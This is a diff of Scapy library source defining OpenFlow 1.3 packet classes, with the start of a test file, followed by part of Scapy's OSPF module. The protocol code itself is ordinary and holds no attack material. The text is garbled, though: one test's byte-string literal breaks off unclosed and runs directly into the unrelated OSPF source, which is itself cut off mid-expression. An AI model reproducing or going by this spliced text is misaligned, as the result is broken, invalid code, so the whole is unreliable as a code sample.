[ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 11, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + IntField("max_meter", 0), + FlagsField("band_types", 0, 32, ["DROP", + "DSCP_REMARK", + "EXPERIMENTER"]), + FlagsField("capabilities", 0, 32, ["KPBS", + "PKTPS", + "BURST", + "STATS"]), + ByteField("max_bands", 0), + ByteField("max_color", 0), + XShortField("pad2", 0)] + + +# table features for multipart messages # + + +class OFPTFPT(Packet): + name = "Dummy OpenFlow3 Table Features Properties Header" + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_table_features_prop_cls.get(t, Raw) + return Raw + + def post_build(self, p, pay): + tmp_len = self.len + if tmp_len is None: + tmp_len = len(p) + len(pay) + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + # every message will be padded correctly + zero_bytes = (8 - tmp_len % 8) % 8 + p += b"\x00" * zero_bytes + return p + pay + + def extract_padding(self, s): + return b"", s + + +ofp_table_features_prop_types = {0: "OFPTFPT_INSTRUCTIONS", + 1: "OFPTFPT_INSTRUCTIONS_MISS", + 2: "OFPTFPT_NEXT_TABLES", + 3: "OFPTFPT_NEXT_TABLES_MISS", + 4: "OFPTFPT_WRITE_ACTIONS", + 5: "OFPTFPT_WRITE_ACTIONS_MISS", + 6: "OFPTFPT_APPLY_ACTIONS", + 7: "OFPTFPT_APPLY_ACTIONS_MISS", + 8: "OFPTFPT_MATCH", + 10: "OFPTFPT_WILDCARDS", + 12: "OFPTFPT_WRITE_SETFIELD", + 13: "OFPTFPT_WRITE_SETFIELD_MISS", + 14: "OFPTFPT_APPLY_SETFIELD", + 15: "OFPTFPT_APPLY_SETFIELD_MISS", + 65534: "OFPTFPT_EXPERIMENTER", + 65535: "OFPTFPT_EXPERIMENTER_MISS"} + + +class OFPTFPTInstructions(OFPTFPT): + name = "OFPTFPT_INSTRUCTIONS" + fields_desc = [ShortField("type", 0), + ShortField("len", None), + PacketListField("instruction_ids", [], OFPITID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTInstructionsMiss(OFPTFPT): + name = "OFPTFPT_INSTRUCTIONS_MISS" + fields_desc = [ShortField("type", 1), + ShortField("len", None), + PacketListField("instruction_ids", [], OFPITID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTableID(Packet): + name = "OFP_TABLE_ID" + fields_desc = [ByteEnumField("table_id", 0, ofp_table)] + + def extract_padding(self, s): + return b"", s + + +class OFPTFPTNextTables(OFPTFPT): + name = "OFPTFPT_NEXT_TABLES" + fields_desc = [ShortField("type", 2), + ShortField("len", None), + PacketListField("next_table_ids", None, OFPTableID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTNextTablesMiss(OFPTFPT): + name = "OFPTFPT_NEXT_TABLES_MISS" + fields_desc = [ShortField("type", 3), + ShortField("len", None), + PacketListField("next_table_ids", None, OFPTableID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTWriteActions(OFPTFPT): + name = "OFPTFPT_WRITE_ACTIONS" + fields_desc = [ShortField("type", 4), + ShortField("len", None), + PacketListField("action_ids", [], OFPATID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTWriteActionsMiss(OFPTFPT): + name = "OFPTFPT_WRITE_ACTIONS_MISS" + fields_desc = [ShortField("type", 5), + ShortField("len", None), + PacketListField("action_ids", [], OFPATID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTApplyActions(OFPTFPT): + name = "OFPTFPT_APPLY_ACTIONS" + fields_desc = [ShortField("type", 6), + ShortField("len", None), + PacketListField("action_ids", [], OFPATID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTApplyActionsMiss(OFPTFPT): + name = "OFPTFPT_APPLY_ACTIONS_MISS" + fields_desc = [ShortField("type", 7), + ShortField("len", None), + PacketListField("action_ids", [], OFPATID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTMatch(OFPTFPT): + name = "OFPTFPT_MATCH" + fields_desc = [ShortField("type", 8), + ShortField("len", None), + PacketListField("oxm_ids", [], OXMID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTWildcards(OFPTFPT): + name = "OFPTFPT_WILDCARDS" + fields_desc = [ShortField("type", 10), + ShortField("len", None), + PacketListField("oxm_ids", [], OXMID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTWriteSetField(OFPTFPT): + name = "OFPTFPT_WRITE_SETFIELD" + fields_desc = [ShortField("type", 12), + ShortField("len", None), + PacketListField("oxm_ids", [], OXMID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTWriteSetFieldMiss(OFPTFPT): + name = "OFPTFPT_WRITE_SETFIELD_MISS" + fields_desc = [ShortField("type", 13), + ShortField("len", None), + PacketListField("oxm_ids", [], OXMID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTApplySetField(OFPTFPT): + name = "OFPTFPT_APPLY_SETFIELD" + fields_desc = [ShortField("type", 14), + ShortField("len", None), + PacketListField("oxm_ids", [], OXMID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTApplySetFieldMiss(OFPTFPT): + name = "OFPTFPT_APPLY_SETFIELD_MISS" + fields_desc = [ShortField("type", 15), + ShortField("len", None), + PacketListField("oxm_ids", [], OXMID, + length_from=lambda pkt:pkt.len - 4)] + + +class OFPTFPTExperimenter(OFPTFPT): + name = "OFPTFPT_EXPERIMENTER" + fields_desc = [ShortField("type", 65534), + ShortField("len", None), + IntField("experimenter", 0), + IntField("exp_type", 0), + PacketLenField("experimenter_data", None, Raw, + length_from=lambda pkt: pkt.len - 12)] + + +class OFPTFPTExperimenterMiss(OFPTFPT): + name = "OFPTFPT_EXPERIMENTER_MISS" + fields_desc = [ShortField("type", 65535), + ShortField("len", None), + IntField("experimenter", 0), + IntField("exp_type", 0), + PacketLenField("experimenter_data", None, Raw, + length_from=lambda pkt: pkt.len - 12)] + + +ofp_table_features_prop_cls = {0: OFPTFPTInstructions, + 1: OFPTFPTInstructionsMiss, + 2: OFPTFPTNextTables, + 3: OFPTFPTNextTablesMiss, + 4: OFPTFPTWriteActions, + 5: OFPTFPTWriteActionsMiss, + 6: OFPTFPTApplyActions, + 7: OFPTFPTApplyActionsMiss, + 8: OFPTFPTMatch, + 10: OFPTFPTWildcards, + 12: OFPTFPTWriteSetField, + 13: OFPTFPTWriteSetFieldMiss, + 14: OFPTFPTApplySetField, + 15: OFPTFPTApplySetFieldMiss, + 65534: OFPTFPTExperimenter, + 65535: OFPTFPTExperimenterMiss} + + +class OFPTableFeatures(_ofp_header_item): + name = "OFP_TABLE_FEATURES" + fields_desc = [ShortField("len", None), + ByteEnumField("table_id", 0, ofp_table), + XBitField("pad", 0, 40), + StrFixedLenField("table_name", "", 32), + LongField("metadata_match", 0), + LongField("metadata_write", 0), + IntEnumField("config", 0, {0: "OFPTC_NO_MASK", + 3: "OFPTC_DEPRECATED_MASK"}), + IntField("max_entries", 0), + PacketListField("properties", [], OFPTFPT, + length_from=lambda pkt:pkt.len - 64)] + + def extract_padding(self, s): + return b"", s + + +class OFPMPRequestTableFeatures(_ofp_header): + name = "OFPMP_REQUEST_TABLE_FEATURES" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 12, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + PacketListField("table_features", [], OFPTableFeatures, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPReplyTableFeatures(_ofp_header): + name = "OFPMP_REPLY_TABLE_FEATURES" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 12, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("table_features", [], OFPTableFeatures, + length_from=lambda pkt:pkt.len - 16)] + + +# end of table features # + + +class OFPMPRequestPortDesc(_ofp_header): + name = "OFPMP_REQUEST_PORT_DESC" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 13, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntEnumField("port_no", 0, ofp_port_no), + XIntField("pad", 0)] + + +class OFPMPReplyPortDesc(_ofp_header): + name = "OFPMP_REPLY_PORT_DESC" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 13, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("ports", None, OFPPort, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestExperimenter(_ofp_header): + name = "OFPST_REQUEST_EXPERIMENTER" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 65535, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntField("experimenter", 0), + IntField("exp_type", 0)] + + +class OFPMPReplyExperimenter(_ofp_header): + name = "OFPST_REPLY_EXPERIMENTER" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 65535, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + IntField("experimenter", 0), + IntField("exp_type", 0)] + + +# ofp_multipart_request/reply_cls allows generic method OpenFlow3() +# to choose the right class for dissection +ofp_multipart_request_cls = {0: OFPMPRequestDesc, + 1: OFPMPRequestFlow, + 2: OFPMPRequestAggregate, + 3: OFPMPRequestTable, + 4: OFPMPRequestPortStats, + 5: OFPMPRequestQueue, + 6: OFPMPRequestGroup, + 7: OFPMPRequestGroupDesc, + 8: OFPMPRequestGroupFeatures, + 9: OFPMPRequestMeter, + 10: OFPMPRequestMeterConfig, + 11: OFPMPRequestMeterFeatures, + 12: OFPMPRequestTableFeatures, + 13: OFPMPRequestPortDesc, + 65535: OFPMPRequestExperimenter} + +ofp_multipart_reply_cls = {0: OFPMPReplyDesc, + 1: OFPMPReplyFlow, + 2: OFPMPReplyAggregate, + 3: OFPMPReplyTable, + 4: OFPMPReplyPortStats, + 5: OFPMPReplyQueue, + 6: OFPMPReplyGroup, + 7: OFPMPReplyGroupDesc, + 8: OFPMPReplyGroupFeatures, + 9: OFPMPReplyMeter, + 10: OFPMPReplyMeterConfig, + 11: OFPMPReplyMeterFeatures, + 12: OFPMPReplyTableFeatures, + 13: OFPMPReplyPortDesc, + 65535: OFPMPReplyExperimenter} + +# end of OFPT_MULTIPART # + + +class OFPTBarrierRequest(_ofp_header): + name = "OFPT_BARRIER_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 20, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTBarrierReply(_ofp_header): + name = "OFPT_BARRIER_REPLY" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 21, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTQueueGetConfigRequest(_ofp_header): + name = "OFPT_QUEUE_GET_CONFIG_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 22, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("port_no", "ANY", ofp_port_no), + XIntField("pad", 0)] + + +class OFPTQueueGetConfigReply(_ofp_header): + name = "OFPT_QUEUE_GET_CONFIG_REPLY" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 23, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("port", 0, ofp_port_no), + XIntField("pad", 0), + PacketListField("queues", [], OFPPacketQueue, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPTRoleRequest(_ofp_header): + name = "OFPT_ROLE_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 24, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("role", 0, {0: "OFPCR_ROLE_NOCHANGE", + 1: "OFPCR_ROLE_EQUAL", + 2: "OFPCR_ROLE_MASTER", + 3: "OFPCR_ROLE_SLAVE"}), + XIntField("pad", 0), + LongField("generation_id", 0)] + + +class OFPTRoleReply(OFPTRoleRequest): + name = "OFPT_ROLE_REPLY" + type = 25 + + +class OFPTGetAsyncRequest(_ofp_header): + name = "OFPT_GET_ASYNC_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 26, ofp_type), + ShortField("len", 8), + IntField("xid", 0)] + + +ofp_packet_in_reason = ["NO_MATCH", + "ACTION", + "INVALID_TTL"] + +ofp_port_reason = ["ADD", + "DELETE", + "MODIFY"] + +ofp_flow_removed_reason = ["IDLE_TIMEOUT", + "HARD_TIMEOUT", + "DELETE", + "GROUP_DELETE"] + + +class OFPTGetAsyncReply(_ofp_header): + name = "OFPT_GET_ASYNC_REPLY" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 27, ofp_type), + ShortField("len", 32), + IntField("xid", 0), + FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason), # noqa: E501 + FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason), # noqa: E501 + FlagsField("port_status_mask_master", 0, 32, ofp_port_reason), # noqa: E501 + FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason), # noqa: E501 + FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason), # noqa: E501 + FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason)] # noqa: E501 + + +class OFPTSetAsync(OFPTGetAsyncReply): + name = "OFPT_SET_ASYNC" + type = 28 + + +class OFPTMeterMod(_ofp_header): + name = "OFPT_METER_MOD" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 29, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("cmd", 0, {0: "OFPMC_ADD", + 1: "OFPMC_MODIFY", + 2: "OFPMC_DELETE"}), + FlagsField("flags", 0, 16, ["KBPS", + "PKTPS", + "BURST", + "STATS"]), + IntEnumField("meter_id", 1, ofp_meter), + PacketListField("bands", [], OFPMBT, + length_from=lambda pkt:pkt.len - 16)] + + +# ofpt_cls allows generic method OpenFlow3() to choose the right class for dissection # noqa: E501 +ofpt_cls = {0: OFPTHello, + # 1: OFPTError, + 2: OFPTEchoRequest, + 3: OFPTEchoReply, + 4: OFPTExperimenter, + 5: OFPTFeaturesRequest, + 6: OFPTFeaturesReply, + 7: OFPTGetConfigRequest, + 8: OFPTGetConfigReply, + 9: OFPTSetConfig, + 10: OFPTPacketIn, + 11: OFPTFlowRemoved, + 12: OFPTPortStatus, + 13: OFPTPacketOut, + 14: OFPTFlowMod, + 15: OFPTGroupMod, + 16: OFPTPortMod, + 17: OFPTTableMod, + # 18: OFPTMultipartRequest, + # 19: OFPTMultipartReply, + 20: OFPTBarrierRequest, + 21: OFPTBarrierReply, + 22: OFPTQueueGetConfigRequest, + 23: OFPTQueueGetConfigReply, + 24: OFPTRoleRequest, + 25: OFPTRoleReply, + 26: OFPTGetAsyncRequest, + 27: OFPTGetAsyncReply, + 28: OFPTSetAsync, + 29: OFPTMeterMod} diff --git a/libs/scapy/contrib/openflow3.uts b/libs/scapy/contrib/openflow3.uts new file mode 100755 index 0000000..ce18b3d --- /dev/null +++ b/libs/scapy/contrib/openflow3.uts @@ -0,0 +1,177 @@ +% Tests for OpenFlow v1.3 with Scapy + ++ Preparation += Be sure we have loaded OpenFlow v3 +load_contrib("openflow3") + ++ Usual OFv1.3 messages + += OFPTHello(), hello without version bitmap +ofm = OFPTHello() +raw(ofm) == b'\x04\x00\x00\x08\x00\x00\x00\x00' + += OFPTEchoRequest(), echo request +ofm = OFPTEchoRequest() +raw(ofm) == b'\x04\x02\x00\x08\x00\x00\x00\x00' + += OFPMatch(), check padding +ofm = OFPMatch(oxm_fields=OFBEthType(eth_type=0x86dd)) +assert(len(raw(ofm))%8 == 0) +raw(ofm) == b'\x00\x01\x00\x0a\x80\x00\x0a\x02\x86\xdd\x00\x00\x00\x00\x00\x00' + += OpenFlow3(), generic method test with OFPTEchoRequest() +ofm = OFPTEchoRequest() +s = raw(ofm) +isinstance(OpenFlow3(s), OFPTEchoRequest) + += OFPTFlowMod(), check codes and defaults values +ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_group='ALL', flags='CHECK_OVERLAP+NO_PKT_COUNTS') +assert(ofm.cmd == 3) +assert(ofm.out_port == 0xffffffff) +assert(ofm.out_group == 0xfffffffc) +ofm.flags == 10 + += OFBIPv6ExtHdrHMID(), check creation of last OXM classes +assert(hasattr(OFBIPv6ExtHdr(), 'ipv6_ext_hdr_flags')) +OFBIPv6ExtHdrHMID().field == 39 + ++ Complex OFv1.3 messages + += OFPTFlowMod(), complex flow_mod +mtc = OFPMatch(oxm_fields=OFBVLANVID(vlan_vid=10)) +ist1 = OFPITApplyActions(actions=[OFPATSetField(field=OFBIPv4Src(ipv4_src='192.168.10.41')),OFPATSetField(field=OFBEthSrc(eth_src='1a:d5:cb:4e:3c:64')),OFPATOutput(port='NORMAL')]) +ist2 = OFPITWriteActions(actions=OFPATOutput(port='CONTROLLER')) +ofm = OFPTFlowMod(table_id=2, match=mtc, instructions=[ist1,ist2]) +hexdump(ofm) +s = b'\x04\x0e\x00\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\n\x80\x00\x0c\x02\x00\n\x00\x00\x00\x00\x00\x00\x00\x04\x00@\x00\x00\x00\x00\x00\x19\x00\x18\x80\x00\n\x02\x08\x00\x80\x00\x16\x04\xc0\xa8\n)\x00\x00\x00\x00\x00\x00\x00\x19\x00\x10\x80\x00\x08\x06\x1a\xd5\xcbN. + +""" +OSPF extension for Scapy + +This module provides Scapy layers for the Open Shortest Path First +routing protocol as defined in RFC 2328 and RFC 5340. + +Copyright (c) 2008 Dirk Loss : mail dirk-loss de +Copyright (c) 2010 Jochen Bartl : jochen.bartl gmail com +""" + + +import struct + +from scapy.packet import bind_layers, Packet +from scapy.fields import BitField, ByteEnumField, ByteField, \ + ConditionalField, DestIP6Field, FieldLenField, \ + FieldListField, FlagsField, IP6Field, IP6PrefixField, IPField, \ + IntEnumField, IntField, LenField, PacketListField, ShortEnumField, \ + ShortField, StrLenField, X3BytesField, XIntField, XLongField, XShortField +from scapy.layers.inet import IP, DestIPField +from scapy.layers.inet6 import IPv6, in6_chksum +from scapy.utils import fletcher16_checkbytes, checksum, inet_aton +from scapy.compat import orb +from scapy.config import conf + +EXT_VERSION = "v0.9.2" + + +class OSPFOptionsField(FlagsField): + + def __init__(self, name="options", default=0, size=8, + names=None): + if names is None: + names = ["MT", "E", "MC", "NP", "L", "DC", "O", "DN"] + FlagsField.__init__(self, name, default, size, names) + + +_OSPF_types = {1: "Hello", + 2: "DBDesc", + 3: "LSReq", + 4: "LSUpd", + 5: "LSAck"} + + +class _NoLLSLenField(LenField): + """ + LenField that will ignore the size of OSPF_LLS_Hdr if it exists + in the payload + """ + + def i2m(self, pkt, x): + if x is None: + x = self.adjust(len(pkt.payload)) + if OSPF_LLS_Hdr in pkt: + x -= len(pkt[OSPF_LLS_Hdr]) + return x + + +class OSPF_Hdr(Packet): + name = "OSPF Header" + fields_desc = [ + ByteField("version", 2), + ByteEnumField("type", 1, _OSPF_types), + _NoLLSLenField("len", None, adjust=lambda x: x + 24), + IPField("src", "1.1.1.1"), + IPField("area", "0.0.0.0"), # default: backbone + XShortField("chksum", None), + ShortEnumField("authtype", 0, {0: "Null", 1: "Simple", 2: "Crypto"}), + # Null or Simple Authentication + ConditionalField(XLongField("authdata", 0), lambda pkt: pkt.authtype != 2), # noqa: E501 + # Crypto Authentication + ConditionalField(XShortField("reserved", 0), lambda pkt: pkt.authtype == 2), # noqa: E501 + ConditionalField(ByteField("keyid", 1), lambda pkt: pkt.authtype == 2), + ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 2), # noqa: E501 + ConditionalField(XIntField("seq", 0), lambda pkt: pkt.authtype == 2), + # TODO: Support authdata (which is appended to the packets as if it were padding) # noqa: E501 + ] + + def post_build(self, p, pay): + # See + p += pay + if self.chksum is None: + if self.authtype == 2: + ck = 0 # Crypto, see RFC 2328, D.4.3 + else: + # Checksum is calculated without authentication data + # Algorithm is the same as in IP() + ck = checksum(p[:16] + p[24:]) + p = p[:12] + struct.pack("!H", ck) + p[14:] + # TODO: Handle Crypto: Add message digest (RFC 2328, D.4.3) + return p + + def hashret(self): + return struct.pack("H", self.area) + self.payload.hashret() + + def answers(self, other): + if (isinstance(other, OSPF_Hdr) and + self.area == other.area and + self.type == 5): # Only acknowledgements answer other packets + return self.payload.answers(other.payload) + return 0 + + +class OSPF_Hello(Packet): + name = "OSPF Hello" + fields_desc = [IPField("mask", "255.255.255.0"), + ShortField("hellointerval", 10), + OSPFOptionsField(), + ByteField("prio", 1), + IntField("deadinterval", 40), + IPField("router", "0.0.0.0"), + IPField("backup", "0.0.0.0"), + FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 44) if pkt.underlayer else None)] # noqa: E501 + + def guess_payload_class(self, payload): + # check presence of LLS data block flag + if self.options & 0x10 == 0x10: + return OSPF_LLS_Hdr + else: + return Packet.guess_payload_class(self, payload) + + +class LLS_Generic_TLV(Packet): + name = "LLS Generic" + fields_desc = [ShortField("type", 0), + FieldLenField("len", None, length_of="val"), + StrLenField("val", "", length_from=lambda x: x.len)] + + def guess_payload_class(self, p): + return conf.padding_layer + + +class LLS_Extended_Options(LLS_Generic_TLV): + name = "LLS Extended Options and Flags" + fields_desc = [ShortField("type", 1), + FieldLenField("len", None, fmt="!H", length_of="options"), + StrLenField("options", "", length_from=lambda x: x.len)] + # TODO: FlagsField("options", 0, names=["LR", "RS"], size) with dynamic size # noqa: E501 + + +class LLS_Crypto_Auth(LLS_Generic_TLV): + name = "LLS Cryptographic Authentication" + fields_desc = [ShortField("type", 2), + FieldLenField("len", 20, fmt="B", length_of=lambda x: x.authdata + 4), # noqa: E501 + XIntField("sequence", 0), + StrLenField("authdata", b"\x00" * 16, length_from=lambda x: x.len - 4)] # noqa: E501 + + +_OSPF_LLSclasses = {1: "LLS_Extended_Options", + 2: "LLS_Crypto_Auth"} + + +def _LLSGuessPayloadClass(p, **kargs): + """ Guess the correct LLS class for a given payload """ + + cls = conf.raw_layer + if len(p) >= 3: + typ = struct.unpack("!H", p[0:2])[0] + clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") + cls = globals()[clsname] + return cls(p, **kargs) + + +class FieldLenField32Bits(FieldLenField): + def i2repr(self, pkt, x): + return repr(x) if not x else str(FieldLenField.i2h(self, pkt, x) << 2) + " bytes" # noqa: E501 + + +class OSPF_LLS_Hdr(Packet): + name = "OSPF Link-local signaling" + fields_desc = [XShortField("chksum", None), + FieldLenField32Bits("len", None, length_of="llstlv", adjust=lambda pkt, x: (x + 4) >> 2), # noqa: E501 + PacketListField("llstlv", [], _LLSGuessPayloadClass, length_from=lambda x: (x.len << 2) - 4)] # noqa: E501 + + def post_build(self, p, pay): + p += pay + if self.chksum is None: + c = checksum(p) + p = struct.pack("!H", c) + p[2:] + return p + + +_OSPF_LStypes = {1: "router", + 2: "network", + 3: "summaryIP", + 4: "summaryASBR", + 5: "external", + 7: "NSSAexternal", + 9: "linkScopeOpaque", + 10: "areaScopeOpaque", + 11: "asScopeOpaque"} + +_OSPF_LSclasses = {1: "OSPF_Router_LSA", + 2: "OSPF_Network_LSA", + 3: "OSPF_SummaryIP_LSA", + 4: "OSPF_SummaryASBR_LSA", + 5: "OSPF_External_LSA", + 7: "OSPF_NSSA_External_LSA", + 9: "OSPF_Link_Scope_Opaque_LSA", + 10: "OSPF_Area_Scope_Opaque_LSA", + 11: "OSPF_AS_Scope_Opaque_LSA"} + + +def ospf_lsa_checksum(lsa): + return fletcher16_checkbytes(b"\x00\x00" + lsa[2:], 16) # leave out age + + +class OSPF_LSA_Hdr(Packet): + name = "OSPF LSA Header" + fields_desc = [ShortField("age", 1), + OSPFOptionsField(), + ByteEnumField("type", 1, _OSPF_LStypes), + IPField("id", "192.168.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", 0), + ShortField("len", 36)] + + def extract_padding(self, s): + return "", s + + +_OSPF_Router_LSA_types = {1: "p2p", + 2: "transit", + 3: "stub", + 4: "virtual"} + + +class OSPF_Link(Packet): + name = "OSPF Link" + fields_desc = [IPField("id", "192.168.0.0"), + IPField("data", "255.255.255.0"), + ByteEnumField("type", 3, _OSPF_Router_LSA_types), + ByteField("toscount", 0), + ShortField("metric", 10), + # TODO: define correct conditions + ConditionalField(ByteField("tos", 0), lambda pkt: False), + ConditionalField(ByteField("reserved", 0), lambda pkt: False), # noqa: E501 + ConditionalField(ShortField("tosmetric", 0), lambda pkt: False)] # noqa: E501 + + def extract_padding(self, s): + return "", s + + +def _LSAGuessPayloadClass(p, **kargs): + """ Guess the correct LSA class for a given payload """ + # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard # noqa: E501 + + cls = conf.raw_layer + if len(p) >= 4: + typ = orb(p[3]) + clsname = _OSPF_LSclasses.get(typ, "Raw") + cls = globals()[clsname] + return cls(p, **kargs) + + +class OSPF_BaseLSA(Packet): + """ An abstract base class for Link State Advertisements """ + + def post_build(self, p, pay): + length = self.len + if length is None: + length = len(p) + p = p[:18] + struct.pack("!H", length) + p[20:] + if self.chksum is None: + chksum = ospf_lsa_checksum(p) + p = p[:16] + chksum + p[18:] + return p # p+pay? + + def extract_padding(self, s): + return "", s + + +class OSPF_Router_LSA(OSPF_BaseLSA): + name = "OSPF Router LSA" + fields_desc = [ShortField("age", 1), + OSPFOptionsField(), + ByteField("type", 1), + IPField("id", "1.1.1.1"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + FlagsField("flags", 0, 8, ["B", "E", "V", "W", "Nt"]), + ByteField("reserved", 0), + FieldLenField("linkcount", None, count_of="linklist"), + PacketListField("linklist", [], OSPF_Link, + count_from=lambda pkt: pkt.linkcount, + length_from=lambda pkt: pkt.linkcount * 12)] + + +class OSPF_Network_LSA(OSPF_BaseLSA): + name = "OSPF Network LSA" + fields_desc = [ShortField("age", 1), + OSPFOptionsField(), + ByteField("type", 2), + IPField("id", "192.168.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + IPField("mask", "255.255.255.0"), + FieldListField("routerlist", [], IPField("", "1.1.1.1"), + length_from=lambda pkt: pkt.len - 24)] + + +class OSPF_SummaryIP_LSA(OSPF_BaseLSA): + name = "OSPF Summary LSA (IP Network)" + fields_desc = [ShortField("age", 1), + OSPFOptionsField(), + ByteField("type", 3), + IPField("id", "192.168.0.0"), + IPField("adrouter", "1.1.1.1"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + IPField("mask", "255.255.255.0"), + ByteField("reserved", 0), + X3BytesField("metric", 10), + # TODO: Define correct conditions + ConditionalField(ByteField("tos", 0), lambda pkt:False), + ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] # noqa: E501 + + +class OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA): + name = "OSPF Summary LSA (AS Boundary Router)" + type = 4 + id = "2.2.2.2" + mask = "0.0.0.0" + metric = 20 + + +class OSPF_External_LSA(OSPF_BaseLSA): + name = "OSPF External LSA (ASBR)" + fields_desc = [ShortField("age", 1), + OSPFOptionsField(), + ByteField("type", 5), + IPField("id", "192.168.0.0"), + IPField("adrouter", "2.2.2.2"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + IPField("mask", "255.255.255.0"), + FlagsField("ebit", 0, 1, ["E"]), + BitField("reserved", 0, 7), + X3BytesField("metric", 20), + IPField("fwdaddr", "0.0.0.0"), + XIntField("tag", 0), + # TODO: Define correct conditions + ConditionalField(ByteField("tos", 0), lambda pkt:False), + ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] # noqa: E501 + + +class OSPF_NSSA_External_LSA(OSPF_External_LSA): + name = "OSPF NSSA External LSA" + type = 7 + + +class OSPF_Link_Scope_Opaque_LSA(OSPF_BaseLSA): + name = "OSPF Link Scope External LSA" + type = 9 + fields_desc = [ShortField("age", 1), + OSPFOptionsField(), + ByteField("type", 9), + IPField("id", "192.0.2.1"), + IPField("adrouter", "198.51.100.100"), + XIntField("seq", 0x80000001), + XShortField("chksum", None), + ShortField("len", None), + StrLenField("data", "data", + length_from=lambda pkt: pkt.len - 20) + ] + + def opaqueid(self): + return struct.unpack('>I', inet_aton(self.id))[0] & 